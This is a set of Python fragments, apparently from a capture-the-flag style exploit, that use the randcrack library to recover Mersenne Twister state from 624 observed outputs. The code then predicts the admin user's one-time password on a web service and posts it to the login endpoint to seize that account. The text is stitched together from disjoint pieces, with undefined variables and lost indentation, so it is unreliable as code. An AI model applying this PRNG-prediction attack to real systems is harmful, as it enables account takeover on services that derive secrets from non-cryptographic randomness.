def test_submit_not_enough():
random.seed(time.time())
cracker = RandCrack()
for i in range(623):
cracker.submit(random.randint(0, 4294967294))
with pytest.raises(ValueError):
cracker.predict_randint(0, 1)
class MyRandCrack:
rc = RandCrack()
def __init__(self,output) -> None:
self.rc = RandCrack()
S = []
for ot in output:
tmp = []
if len(bin(ot)[2:]) % 32 != 0:
b ='0'*(32 - (len(bin(ot)[2:]) % 32)) + bin(ot)[2:]
else:
b = bin(ot)[2:]
for i in range(0,len(b),32):
tmp.append(int(b[i:i+32],2))
S = S + tmp[::-1]
for i in S[:624]:
self.rc.submit(i)
def rc_getrandbits(self,bits):
return self.rc.predict_getrandbits(bits)
def rc_randint(self,a,b):
return self.rc.predict_randint(a,b)
def rc_randrange(self,a,b):
return self.rc.predict_randrange(a,b)
bseed = zlib.crc32(bname.format(i).encode())
theor_value = seed - bseed
print(
f"Thror: {theor_value} from {seed} - {bseed}\t\tDone {round(i/624 * 100, 3)}% ({i}/624)"
)
rc.submit(theor_value)
print("Let's predict!")
try:
d1 = s.post(bu + "regen", data={"login": "******", "otp": "-1"})
except r.exceptions.ConnectionError:
d1 = s.post(bu + "regen", data={"login": "******", "otp": "-1"})
if "exists" in d1.text:
print("watafack")
exit(1)
rd1 = r1.search(d1.text)
if not rd1:
print("watafack 1")
print(d1.text)
exit(1)
tr = rc.predict_randint(0, 4294967294)
admin = crypto.User(seed=zlib.crc32("admin".encode()) + tr)
print(
f"Theor random int = {tr}, passw_from = {rd1.group(1)}, passw_our = {admin.gen_pass()}"
)
d2 = s.post(bu + "login", data={"login": "******", "otp": admin.gen_pass()})
print(d2.text)